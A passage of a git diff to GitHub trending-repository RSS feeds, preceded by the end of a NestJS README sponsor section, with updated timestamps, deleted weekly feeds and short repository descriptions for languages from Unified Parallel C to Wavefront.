<h2>Consulting</h2> <p>With official support, you can get expert help straight from Nest core team. We provide dedicated technical support, migration strategies, advice on best practices (and design decisions), PR reviews, and team augmentation. Read more about <a href="https://enterprise.nestjs.com">support here</a>.</p> <h2>Support</h2> <p>Nest is an MIT-licensed open source project. It can grow thanks to the sponsors and support from the amazing backers. If you'd like to join them, please <a href="https://docs.nestjs.com/support">read more here</a>.</p> <h4>Principal Sponsors</h4> <table style="text-align:center;"> <tbody> <tr> <td><a href="https://trilon.io" target="_blank"><img src="https://nestjs.com/img/trilon.svg?sanitize=true" width="200" valign="middle"></a></td> <td> <a href="https://valor-software.com/" target="_blank"><img src="https://docs.nestjs.com/assets/sponsors/valor-software.png" width="170" valign="middle"></a></td> <td> <a href="https://amplication.com/" target="_blank"><img src="https://nestjs.com/img/amplication-logo.svg?sanitize=true" width="190" valign="middle"></a></td> </tr> </tbody> </table> <h4>Gold Sponsors</h4> <table style="text-align:center;"> <tbody> <tr> <td><a href="https://www.redhat.com" target="_blank"><img src="https://nestjs.com/img/red-hat-logo.svg?sanitize=true" width="200" valign="middle"></a></td> <td> <a href="https://github.com/Sanofi-IADC" target="_blank"><img src="https://docs.nestjs.com/assets/sponsors/sanofi.png" width="180" valign="middle"></a></td> <td> <a href="https://nx.dev" target="_blank"><img src="https://nestjs.com/img/nx-logo.png" height="45" valign="middle"></a></td> <td> <a href="https://weld.app/" target="_blank"><img src="https://nestjs.com/img/weld-logo.svg?sanitize=true" width="140" valign="middle"></a></td> <td> <a href="https://intrinsic.ventures/" target="_blank"><img src="https://nestjs.com/img/intrinisic-logo.png" width="210" valign="middle"></a></td> </tr> <tr> <td> <a href="https://jetbrains.com/" target="_blank"><img src="https://nestjs.com/img/jetbrains-logo.svg?sanitize=true" width="90" valign="middle"></a></td> <td> <a href="https://snyk.co/nestjs" target="_blank"><img src="https://nestjs.com/img/snyk-logo-black.png" width="185" valign="middle"></a></td> <td> <a href="https://fuseautotech.com/" target="_blank"><img src="https://nestjs.com/img/fuse-logo.svg?sanitize=true" width="105" valign="middle"></a></td> <td> <a href="https://ridicorp.com/career/" target="_blank"><img src="https://nestjs.com/img/ridi-logo.svg?sanitize=true" width="105" valign="middle"></a></td> <td> <a href="https://www.movavi.com/imovie-for-windows.html" target="_blank"><img src="https://nestjs.com/img/movavi-logo.svg?sanitize=true" width="105" valign="middle"></a></td> <!--</tr--> </tr> </tbody> </table> <h4>Silver Sponsors</h4> <table style="text-align:center;"> <tbody> <tr> <td><a href="https://n.inc" target="_blank"><img src="https://nestjs.com/img/n-inc-logo.svg?sanitize=true" width="120" valign="middle"></a></td> <td><a href="https://twistag.com/" target="_blank"><img src="https://nestjs.com/img/twistag-logo.png" width="120" valign="middle"></a></td> <td><a href="https://immediateedgeapp.org/" target="_blank"><img src="https://nestjs.com/img/immediate-edge-logo.png" width="120" valign="middle"></a></td> </tr> </tbody> </table> <h4>Sponsors</h4> <table> <tbody> <tr> <td align="center" valign="middle"> <a href="https://www.swingdev.io" target="_blank"><img src="https://nestjs.com/img/swingdev-logo.svg#1" width="110" valign="middle"> </a></td> <td align="center" valign="middle"> <a href="https://www.novologic.com/" target="_blank"><img src="https://nestjs.com/img/novologic.png" width="110" valign="middle"></a> </td> <td align="center" valign="middle"> <a href="https://mantro.net/" target="_blank"><img src="https://nestjs.com/img/mantro-logo.svg?sanitize=true" width="95" valign="middle"></a> </td> <td align="center" valign="middle"> <a href="https://triplebyte.com/" target="_blank"><img src="https://nestjs.com/img/triplebyte.png" width="107" valign="middle"></a> </td> <td align="center" valign="middle"> <a href="https://nearpod.com/" target="_blank"><img src="https://nestjs.com/img/nearpod-logo.svg?sanitize=true" width="100" valign="middle"></a> </td> <td align="center" valign="middle"> <a href="https://genuinebee.com/" target="_blank"><img src="https://nestjs.com/img/genuinebee.svg?sanitize=true" width="97" valign="middle"></a> </td> </tr> <tr> <td align="center" valign="middle"><a href="https://sanyodigital.com/" target="_blank"><img src="https://nestjs.com/img/sanyo-digital.png" width="130" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://vpn-review.com/vpn-for-torrenting" target="_blank"><img src="https://nestjs.com/img/vpn-review-logo.png" width="85" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://lambda-it.ch/" target="_blank"><img src="https://nestjs.com/img/lambda-it-logo.svg?sanitize=true" width="115" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://www.najlepszeplatformyforex.pl/blog/broker-xtb/" target="_blank"><img src="https://nestjs.com/img/npf-logo.jpg" width="200" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://rocketech.it/cases/?utm_source=google&amp;utm_medium=badge&amp;utm_campaign=nestjs" target="_blank"><img src="https://nestjs.com/img/rocketech-logo.svg?sanitize=true" width="110" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://www.anonymistic.com/" target="_blank"><img src="https://nestjs.com/img/anonymistic-logo.png" width="125" valign="middle"></a></td> </tr> <tr> <td align="center" valign="middle"><a href="https://www.naologic.com/" target="_blank"><img src="https://nestjs.com/img/naologic-logo.svg?sanitize=true" width="125" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://triplecore.io" target="_blank"><img src="https://nestjs.com/img/triplecore-logo.svg?sanitize=true" width="50" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://thecasinowizard.com/bonuses/no-deposit-bonuses/" target="_blank"><img src="https://nestjs.com/img/casinowizard-logo.png" width="120" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://polygon-software.ch/" target="_blank"><img src="https://nestjs.com/img/polygon-logo.svg?sanitize=true" width="120" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://boringowl.io/" target="_blank"><img src="https://nestjs.com/img/boringowl-logo.svg?sanitize=true" width="120" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://nordbot.app/" target="_blank"><img src="https://nestjs.com/img/nordbot-logo.png" width="120" valign="middle"></a></td> </tr> <tr> <td align="center" valign="middle"><a href="https://doppio.sh/" target="_blank"><img src="https://nestjs.com/img/dopiosh-logo.png" width="50" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://www.hingehealth.com/" target="_blank"><img src="https://nestjs.com/img/hinge-health-logo.svg?sanitize=true" width="100" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://julienferand.dev/" target="_blank"><img src="https://nestjs.com/img/julienferand-logo.jpeg" width="65" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://www.tripoffice.com/" target="_blank"><img src="https://nestjs.com/img/tripoffice-logo.png" width="140" valign="middle"></a></td> <td align="center" valign="middle"><a href="https://solcellsforetag.se/" target="_blank"><img src="https://nestjs.com/img/solcellsforetag-logo.svg?sanitize=true" width="140" valign="middle"></a></td> </tr> </tbody> </table> <h2>Backers</h2> <p><a href="https://opencollective.com/nest" target="_blank"><img src="https://opencollective.com/nest/backers.svg?width=1000"></a></p> <h2>Stay in touch</h2> <ul> <li>Author - <a href="https://x.com/kammysliwiec">Kamil Myśliwiec</a></li> <li>Website - <a href="https://nestjs.com/">https://nestjs.com</a></li> <li>X - <a href="https://x.com/nestframework">@nestframework</a></li> </ul> <h2>License</h2> <p>Nest is <a href="https://raw.githubusercontent.com/nestjs/nest/master/LICENSE">MIT licensed</a>.</p> - - \ No newline at end of file diff --git a/unified-parallel-c/daily/index.xml b/unified-parallel-c/daily/index.xml index 9f031625c2e..568b3a6877c 100644 --- a/unified-parallel-c/daily/index.xml +++ b/unified-parallel-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unified Parallel C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:39Z + 2023-09-25T01:42:40Z Daily Trending of Unified Parallel C in GitHub \ No newline at end of file diff --git a/unified-parallel-c/weekly/index.xml b/unified-parallel-c/weekly/index.xml deleted file mode 100644 index fc1adf5398f..00000000000 --- a/unified-parallel-c/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Unified Parallel C Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:07Z - Weekly Trending of Unified Parallel C in GitHub - - \ No newline at end of file diff --git a/unity3d-asset/daily/index.xml b/unity3d-asset/daily/index.xml index 80122f99a3d..0169f6ec3c1 100644 --- a/unity3d-asset/daily/index.xml +++ b/unity3d-asset/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unity3D Asset Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:38Z + 2023-09-25T01:42:44Z Daily Trending of Unity3D Asset in GitHub \ No newline at end of file diff --git a/unity3d-asset/weekly/index.xml b/unity3d-asset/weekly/index.xml deleted file mode 100644 index ff6ed404c78..00000000000 --- a/unity3d-asset/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Unity3D Asset Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:09Z - Weekly Trending of Unity3D Asset in GitHub - - \ No newline at end of file diff --git a/unix-assembly/daily/index.xml b/unix-assembly/daily/index.xml index 8929610f6ea..383d1efadff 100644 --- a/unix-assembly/daily/index.xml +++ b/unix-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Unix Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:57Z + 2023-09-25T01:42:54Z Daily Trending of Unix Assembly in GitHub \ No newline at end of file diff --git a/unix-assembly/weekly/index.xml b/unix-assembly/weekly/index.xml deleted file mode 100644 index 6c116bc266f..00000000000 --- a/unix-assembly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Unix Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:18Z - Weekly Trending of Unix Assembly in GitHub - - \ No newline at end of file diff --git a/unknown/daily/index.xml b/unknown/daily/index.xml index 9fbf4ef4649..2cd920655bb 100644 --- a/unknown/daily/index.xml +++ b/unknown/daily/index.xml @@ -1,28 +1,21 @@ - GitHub Unknown Languages Daily Trending + GitHub Unknown languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:25:56Z - Daily Trending of Unknown Languages in GitHub + 2023-09-25T01:23:55Z + Daily Trending of Unknown languages in GitHub - Xwin-LM/Xwin-LM - 2023-09-24T01:25:56Z - tag:github.com,2023-09-24:/Xwin-LM/Xwin-LM - - <p>Xwin-LM: Powerful, Stable, and Reproducible LLM Alignment</p><hr> + Unity-Technologies/TermsOfService + 2023-09-25T01:23:55Z + tag:github.com,2023-09-25:/Unity-Technologies/TermsOfService + + <p>Current and prior versions of the terms that apply to your use of the Unity Editor software.</p><hr> - ChenyangSi/FreeU - 2023-09-24T01:25:56Z - tag:github.com,2023-09-24:/ChenyangSi/FreeU - - <p>FreeU: Free Lunch in Diffusion U-Net</p><hr> - - - dark-kingA/cloudTools - 2023-09-24T01:25:56Z - tag:github.com,2023-09-24:/dark-kingA/cloudTools - - <p>云资产管理工具 目前工具定位是云安全相关工具,目前是两个模块 云存储工具、云服务器工具, 云存储工具主要是针对oss存储、查看、删除、上传、下载、预览等等 云服务器工具主要是针对ecs服务器的管理,查看、执行命令等等</p><hr> + fabacab/awesome-cybersecurity-blueteam + 2023-09-25T01:23:55Z + tag:github.com,2023-09-25:/fabacab/awesome-cybersecurity-blueteam + + <p>💻🛡️ A curated collection of awesome resources, tools, and other shiny things for cybersecurity blue teams.</p><hr> \ No newline at end of file diff --git a/unknown/weekly/index.xml b/unknown/weekly/index.xml deleted file mode 100644 index de880c1f8d2..00000000000 --- a/unknown/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Unknown Languages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:31Z - Weekly Trending of Unknown Languages in GitHub - - - farhanashrafdev/90DaysOfCyberSecurity - 2023-09-24T01:45:31Z - tag:github.com,2023-09-24:/farhanashrafdev/90DaysOfCyberSecurity - - <p>This repository contains a 90-day cybersecurity study plan, along with resources and materials for learning various cybersecurity concepts and technologies. The plan is organized into daily tasks, covering topics such as Network+, Security+, Linux, Python, Traffic Analysis, Git, ELK, AWS, Azure, and Hacking. The repository also includes a `LEARN.md</p><hr> - - - ahmetbersoz/chatgpt-prompts-for-academic-writing - 2023-09-24T01:45:31Z - tag:github.com,2023-09-24:/ahmetbersoz/chatgpt-prompts-for-academic-writing - - <p>This list of writing prompts covers a range of topics and tasks, including brainstorming research ideas, improving language and style, conducting literature reviews, and developing research plans.</p><hr> - - - skills/introduction-to-github - 2023-09-24T01:45:31Z - tag:github.com,2023-09-24:/skills/introduction-to-github - - <p>Get started using GitHub in less than an hour.</p><hr> - - \ No newline at end of file diff --git a/uno/daily/index.xml b/uno/daily/index.xml index 932d8afb150..5411efc7134 100644 --- a/uno/daily/index.xml +++ b/uno/daily/index.xml @@ -1,7 +1,7 @@ GitHub Uno Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:59Z + 2023-09-25T01:42:53Z Daily Trending of Uno in GitHub \ No newline at end of file diff --git a/uno/weekly/index.xml b/uno/weekly/index.xml deleted file mode 100644 index 198b25e408c..00000000000 --- a/uno/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Uno Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:21Z - Weekly Trending of Uno in GitHub - - \ No newline at end of file diff --git a/unrealscript/daily/index.xml b/unrealscript/daily/index.xml index f18ce598c5b..a4ff52467f1 100644 --- a/unrealscript/daily/index.xml +++ b/unrealscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub UnrealScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:58Z + 2023-09-25T01:42:52Z Daily Trending of UnrealScript in GitHub \ No newline at end of file diff --git a/unrealscript/weekly/index.xml b/unrealscript/weekly/index.xml deleted file mode 100644 index 285e2fd685b..00000000000 --- a/unrealscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub UnrealScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:20Z - Weekly Trending of UnrealScript in GitHub - - \ No newline at end of file diff --git a/urweb/daily/index.xml b/urweb/daily/index.xml index cd04110ae9d..bb8607b1363 100644 --- a/urweb/daily/index.xml +++ b/urweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub UrWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:00Z + 2023-09-25T01:42:55Z Daily Trending of UrWeb in GitHub \ No newline at end of file diff --git a/urweb/weekly/index.xml b/urweb/weekly/index.xml deleted file mode 100644 index 7067a5312ba..00000000000 --- a/urweb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub UrWeb Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:19Z - Weekly Trending of UrWeb in GitHub - - \ No newline at end of file diff --git a/v/daily/index.xml b/v/daily/index.xml index 457449017d9..736f5cea66e 100644 --- a/v/daily/index.xml +++ b/v/daily/index.xml @@ -1,7 +1,7 @@ GitHub V Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:04Z + 2023-09-25T01:42:59Z Daily Trending of V in GitHub \ No newline at end of file diff --git a/v/weekly/index.xml b/v/weekly/index.xml deleted file mode 100644 index 55cc59ed165..00000000000 --- a/v/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub V Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:24Z - Weekly Trending of V in GitHub - - \ No newline at end of file diff --git a/vala/daily/index.xml b/vala/daily/index.xml index fff1a0c6053..bfe6d9f9a55 100644 --- a/vala/daily/index.xml +++ b/vala/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:01Z + 2023-09-25T01:42:58Z Daily Trending of Vala in GitHub \ No newline at end of file diff --git a/vala/weekly/index.xml b/vala/weekly/index.xml deleted file mode 100644 index 5d2b83d23b8..00000000000 --- a/vala/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vala Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:25Z - Weekly Trending of Vala in GitHub - - \ No newline at end of file diff --git a/valve-data-format/daily/index.xml b/valve-data-format/daily/index.xml index c4fe4911172..6d17d675eae 100644 --- a/valve-data-format/daily/index.xml +++ b/valve-data-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Valve Data Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:02Z + 2023-09-25T01:42:57Z Daily Trending of Valve Data Format in GitHub \ No newline at end of file diff --git a/valve-data-format/weekly/index.xml b/valve-data-format/weekly/index.xml deleted file mode 100644 index 21173674ddd..00000000000 --- a/valve-data-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Valve Data Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:23Z - Weekly Trending of Valve Data Format in GitHub - - \ No newline at end of file diff --git a/vba/daily/index.xml b/vba/daily/index.xml index 57240b30040..da7fcb4ec3b 100644 --- a/vba/daily/index.xml +++ b/vba/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:03Z + 2023-09-25T01:42:56Z Daily Trending of VBA in GitHub \ No newline at end of file diff --git a/vba/weekly/index.xml b/vba/weekly/index.xml deleted file mode 100644 index 36606a24afa..00000000000 --- a/vba/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VBA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:22Z - Weekly Trending of VBA in GitHub - - \ No newline at end of file diff --git a/vbscript/daily/index.xml b/vbscript/daily/index.xml index c6cda525c47..e5e9db70672 100644 --- a/vbscript/daily/index.xml +++ b/vbscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:08Z + 2023-09-25T01:43:00Z Daily Trending of VBScript in GitHub \ No newline at end of file diff --git a/vbscript/weekly/index.xml b/vbscript/weekly/index.xml deleted file mode 100644 index d0d48f7ec10..00000000000 --- a/vbscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VBScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:26Z - Weekly Trending of VBScript in GitHub - - \ No newline at end of file diff --git a/vcl/daily/index.xml b/vcl/daily/index.xml index 56664291a96..7cd5c5c2bc0 100644 --- a/vcl/daily/index.xml +++ b/vcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:07Z + 2023-09-25T01:43:01Z Daily Trending of VCL in GitHub \ No newline at end of file diff --git a/vcl/weekly/index.xml b/vcl/weekly/index.xml deleted file mode 100644 index e185ee894ab..00000000000 --- a/vcl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:28Z - Weekly Trending of VCL in GitHub - - \ No newline at end of file diff --git a/verilog/daily/index.xml b/verilog/daily/index.xml index 6bcfd2191d0..98513e75add 100644 --- a/verilog/daily/index.xml +++ b/verilog/daily/index.xml @@ -1,7 +1,21 @@ GitHub Verilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:10Z + 2023-09-25T01:43:04Z Daily Trending of Verilog in GitHub + + cornell-c2s2/c2s2_ip + 2023-09-25T01:43:04Z + tag:github.com,2023-09-25:/cornell-c2s2/c2s2_ip + + <p>A general repository for all of C2S2's IP, including testing</p><hr> + + + odin2985/FPGA-CNN-accelerator-based-on-systolic-array + 2023-09-25T01:43:04Z + tag:github.com,2023-09-25:/odin2985/FPGA-CNN-accelerator-based-on-systolic-array + + <p>2023集创赛国二,紫光同创杯。基于脉动阵列写的一个简单的卷积层加速器,支持yolov3-tiny的第一层卷积层计算,可根据FPGA端DSP资源灵活调整脉动阵列的结构以实现不同的计算效率。</p><hr> + \ No newline at end of file diff --git a/verilog/weekly/index.xml b/verilog/weekly/index.xml deleted file mode 100644 index 8952af7d6e7..00000000000 --- a/verilog/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Verilog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:30Z - Weekly Trending of Verilog in GitHub - - \ No newline at end of file diff --git a/vhdl/daily/index.xml b/vhdl/daily/index.xml index 5849d4aa338..5eea37911db 100644 --- a/vhdl/daily/index.xml +++ b/vhdl/daily/index.xml @@ -1,7 +1,14 @@ GitHub VHDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:14Z + 2023-09-25T01:43:08Z Daily Trending of VHDL in GitHub + + yile-liu/ZJU_computer_architecture + 2023-09-25T01:43:08Z + tag:github.com,2023-09-25:/yile-liu/ZJU_computer_architecture + + <p>ZJU_computer_architecture 计算机体系结构</p><hr> + \ No newline at end of file diff --git a/vhdl/weekly/index.xml b/vhdl/weekly/index.xml deleted file mode 100644 index 3e5efdb79b8..00000000000 --- a/vhdl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub VHDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:32Z - Weekly Trending of VHDL in GitHub - - \ No newline at end of file diff --git a/vim-help-file/daily/index.xml b/vim-help-file/daily/index.xml index f40bf2bc279..ee5dad522d4 100644 --- a/vim-help-file/daily/index.xml +++ b/vim-help-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Help File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:12Z + 2023-09-25T01:43:05Z Daily Trending of Vim Help File in GitHub \ No newline at end of file diff --git a/vim-help-file/weekly/index.xml b/vim-help-file/weekly/index.xml deleted file mode 100644 index a8cf37920ba..00000000000 --- a/vim-help-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vim Help File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:31Z - Weekly Trending of Vim Help File in GitHub - - \ No newline at end of file diff --git a/vim-script/daily/index.xml b/vim-script/daily/index.xml index 6b220a5be79..bdfe4a4c183 100644 --- a/vim-script/daily/index.xml +++ b/vim-script/daily/index.xml @@ -1,21 +1,7 @@ GitHub Vim Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:18Z + 2023-09-25T01:43:10Z Daily Trending of Vim Script in GitHub - - paubins/dotfiles - 2023-09-24T01:44:18Z - tag:github.com,2023-09-24:/paubins/dotfiles - - <p>dotfiles</p><hr> - - - digitalicarus/dotvim - 2023-09-24T01:44:18Z - tag:github.com,2023-09-24:/digitalicarus/dotvim - - <p></p><hr> - \ No newline at end of file diff --git a/vim-script/weekly/index.xml b/vim-script/weekly/index.xml deleted file mode 100644 index fdc4e42283e..00000000000 --- a/vim-script/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Vim Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:36Z - Weekly Trending of Vim Script in GitHub - - - fladson/vim-kitty - 2023-09-24T02:03:36Z - tag:github.com,2023-09-24:/fladson/vim-kitty - - <p>Vim syntax highlighting for Kitty terminal config files</p><hr> - - - luochen1990/rainbow - 2023-09-24T02:03:36Z - tag:github.com,2023-09-24:/luochen1990/rainbow - - <p>Rainbow Parentheses Improved, shorter code, no level limit, smooth and fast, powerful configuration.</p><hr> - - - airblade/vim-rooter - 2023-09-24T02:03:36Z - tag:github.com,2023-09-24:/airblade/vim-rooter - - <p>Changes Vim working directory to project root.</p><hr> - - \ No newline at end of file diff --git a/vim-snippet/daily/index.xml b/vim-snippet/daily/index.xml index dd409df2be2..d2f95c2d834 100644 --- a/vim-snippet/daily/index.xml +++ b/vim-snippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Snippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:13Z + 2023-09-25T01:43:06Z Daily Trending of Vim Snippet in GitHub \ No newline at end of file diff --git a/vim-snippet/weekly/index.xml b/vim-snippet/weekly/index.xml deleted file mode 100644 index 1a56fc08e1e..00000000000 --- a/vim-snippet/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vim Snippet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:33Z - Weekly Trending of Vim Snippet in GitHub - - \ No newline at end of file diff --git a/visual-basic-.net/daily/index.xml b/visual-basic-.net/daily/index.xml index 5d9550c7a95..a1e6b68c72b 100644 --- a/visual-basic-.net/daily/index.xml +++ b/visual-basic-.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub Visual Basic .NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:24Z + 2023-09-25T01:43:13Z Daily Trending of Visual Basic .NET in GitHub \ No newline at end of file diff --git a/visual-basic-.net/weekly/index.xml b/visual-basic-.net/weekly/index.xml deleted file mode 100644 index 16d22b443f9..00000000000 --- a/visual-basic-.net/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Visual Basic .NET Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:39Z - Weekly Trending of Visual Basic .NET in GitHub - - - MegaMik/BSRunnerXL - 2023-09-24T02:03:39Z - tag:github.com,2023-09-24:/MegaMik/BSRunnerXL - - <p></p><hr> - - \ No newline at end of file diff --git a/volt/daily/index.xml b/volt/daily/index.xml index fac83154904..20f11705d98 100644 --- a/volt/daily/index.xml +++ b/volt/daily/index.xml @@ -1,7 +1,7 @@ GitHub Volt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:23Z + 2023-09-25T01:43:12Z Daily Trending of Volt in GitHub \ No newline at end of file diff --git a/volt/weekly/index.xml b/volt/weekly/index.xml deleted file mode 100644 index 6b467e0ab28..00000000000 --- a/volt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Volt Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:40Z - Weekly Trending of Volt in GitHub - - \ No newline at end of file diff --git a/vue/daily/index.xml b/vue/daily/index.xml index 867cbda27e9..0f167aaecce 100644 --- a/vue/daily/index.xml +++ b/vue/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vue Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:31Z + 2023-09-25T01:43:20Z Daily Trending of Vue in GitHub \ No newline at end of file diff --git a/vue/weekly/index.xml b/vue/weekly/index.xml deleted file mode 100644 index d074dba327b..00000000000 --- a/vue/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Vue Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:46Z - Weekly Trending of Vue in GitHub - - - codeacme17/examor - 2023-09-24T02:03:46Z - tag:github.com,2023-09-24:/codeacme17/examor - - <p>For students, scholars, interviewees and lifelong learners. Let LLMs assist you in learning 🎓</p><hr> - - - zclzone/vue-naive-admin - 2023-09-24T02:03:46Z - tag:github.com,2023-09-24:/zclzone/vue-naive-admin - - <p>⚡️基于 Vue3 + Vite + Pinia + Unocss + Naive UI 的轻量级后台管理模板。</p><hr> - - - menthorlabs/menthor - 2023-09-24T02:03:46Z - tag:github.com,2023-09-24:/menthorlabs/menthor - - <p>Plataforma gratuita e open-source de ensino de programação</p><hr> - - \ No newline at end of file diff --git a/vyper/daily/index.xml b/vyper/daily/index.xml index 94a51defdbe..87bb3bc6f78 100644 --- a/vyper/daily/index.xml +++ b/vyper/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vyper Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:27Z + 2023-09-25T01:43:16Z Daily Trending of Vyper in GitHub \ No newline at end of file diff --git a/vyper/weekly/index.xml b/vyper/weekly/index.xml deleted file mode 100644 index ded86e1cad8..00000000000 --- a/vyper/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Vyper Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:42Z - Weekly Trending of Vyper in GitHub - - \ No newline at end of file diff --git a/wavefront-material/daily/index.xml b/wavefront-material/daily/index.xml index b3087589845..c9479a6566a 100644 --- a/wavefront-material/daily/index.xml +++ b/wavefront-material/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Material Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:26Z + 2023-09-25T01:43:16Z Daily Trending of Wavefront Material in GitHub \ No newline at end of file diff --git a/wavefront-material/weekly/index.xml b/wavefront-material/weekly/index.xml deleted file mode 100644 index 614e663d69f..00000000000 --- a/wavefront-material/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Wavefront Material Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:03:41Z - Weekly Trending of Wavefront Material in GitHub - - \ No newline at end of file diff --git a/wavefront-object/daily/index.xml b/wavefront-object/daily/index.xml index e548f6230e8..81d85875d85 100644 --- a/wavefront-object/daily/index.xml +++ b/wavefront-object/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Object Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:44:25Z + 